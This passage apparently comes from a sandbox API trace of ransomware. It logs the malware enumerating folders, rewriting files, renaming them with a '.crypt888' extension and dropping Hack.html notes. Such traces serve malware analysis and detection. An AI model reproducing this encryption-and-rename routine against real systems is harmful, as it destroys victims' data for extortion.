Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", lpFilePart=0x0) returned 0x3c [0086.218] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html.crypt888", lpFilePart=0x0) returned 0x45 [0086.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0086.219] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3ee000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3ee000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc495d900, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0086.219] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html.crypt888")) returned 1 [0086.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0086.219] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x38 [0086.219] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpFilePart=0x0) returned 0x39 [0086.219] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0086.220] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.220] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.220] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.220] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.221] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0086.221] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0086.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0086.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0086.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0086.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x38 [0086.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\", lpFilePart=0x0) returned 0x39 [0086.222] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a728 [0086.222] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.222] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.222] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0086.224] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0086.224] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0086.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0086.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0086.224] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", lpFilePart=0x0) returned 0x42 [0086.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0086.224] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.224] GetFileType (hFile=0x174) returned 0x1 [0086.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0086.224] GetFileType (hFile=0x174) returned 0x1 [0086.224] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0086.224] ReadFile (in: hFile=0x174, lpBuffer=0x2819bfc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x2819bfc*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0086.225] CloseHandle (hObject=0x174) returned 1 [0086.241] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", lpFilePart=0x0) returned 0x42 [0086.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0086.241] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.242] GetFileType (hFile=0x174) returned 0x1 [0086.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0086.242] GetFileType (hFile=0x174) returned 0x1 [0086.242] WriteFile (in: hFile=0x174, lpBuffer=0x2867d88*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x2867d88*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0086.243] CloseHandle (hObject=0x174) returned 1 [0086.243] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", lpFilePart=0x0) returned 0x42 [0086.243] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html.crypt888", lpFilePart=0x0) returned 0x4b [0086.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0086.243] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3c7ea0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3c7ea0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc49a9bc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0086.244] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html.crypt888")) returned 1 [0086.244] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html", lpFilePart=0x0) returned 0x42 [0086.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0086.244] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.245] GetFileType (hFile=0x174) returned 0x1 [0086.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0086.245] GetFileType (hFile=0x174) returned 0x1 [0086.245] WriteFile (in: hFile=0x174, lpBuffer=0x286a81c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x286a81c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0086.246] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html", lpFilePart=0x0) returned 0x3c [0086.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0086.246] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.247] GetFileType (hFile=0x174) returned 0x1 [0086.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0086.247] GetFileType (hFile=0x174) returned 0x1 [0086.247] WriteFile (in: hFile=0x174, lpBuffer=0x286d014*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x286d014*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0086.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html", lpFilePart=0x0) returned 0x38 [0086.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0086.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.248] GetFileType (hFile=0x174) returned 0x1 [0086.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0086.248] GetFileType (hFile=0x174) returned 0x1 [0086.248] WriteFile (in: hFile=0x174, lpBuffer=0x286f7fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x286f7fc*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0086.249] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0086.249] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\assistance\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0086.249] GetFileType (hFile=0x174) returned 0x1 [0086.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0086.249] GetFileType (hFile=0x174) returned 0x1 [0086.250] WriteFile (in: hFile=0x174, lpBuffer=0x2871fc4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2871fc4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0086.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.251] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0086.251] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x24 [0086.251] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0086.251] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.333] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.334] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.334] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.334] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.334] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.334] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0086.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0086.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0086.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\", lpFilePart=0x0) returned 0x24 [0086.334] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0086.335] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0086.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0086.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0086.335] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x2d [0086.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0086.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.336] GetFileType (hFile=0x174) returned 0x1 [0086.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0086.336] GetFileType (hFile=0x174) returned 0x1 [0086.336] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0086.336] ReadFile (in: hFile=0x174, lpBuffer=0x2874bb4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2874bb4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0086.379] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x2d [0086.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0086.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.381] GetFileType (hFile=0x174) returned 0x1 [0086.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0086.381] GetFileType (hFile=0x174) returned 0x1 [0086.381] WriteFile (in: hFile=0x174, lpBuffer=0x28c2d14*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x28c2d14*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0086.382] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x2d [0086.382] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html.crypt888", lpFilePart=0x0) returned 0x36 [0086.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0086.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba43a2c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba43a2c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4b00820, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0086.383] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\crypto\\hack.html.crypt888")) returned 1 [0086.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.386] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0086.386] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\", lpFilePart=0x0) returned 0x28 [0086.386] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0086.386] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.387] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.387] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.387] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.387] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0086.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.387] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0086.387] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\", lpFilePart=0x0) returned 0x28 [0086.387] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0086.388] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.388] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.388] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.388] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.388] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0086.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.389] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html", lpFilePart=0x0) returned 0x31 [0086.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0086.389] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\hack.html"), 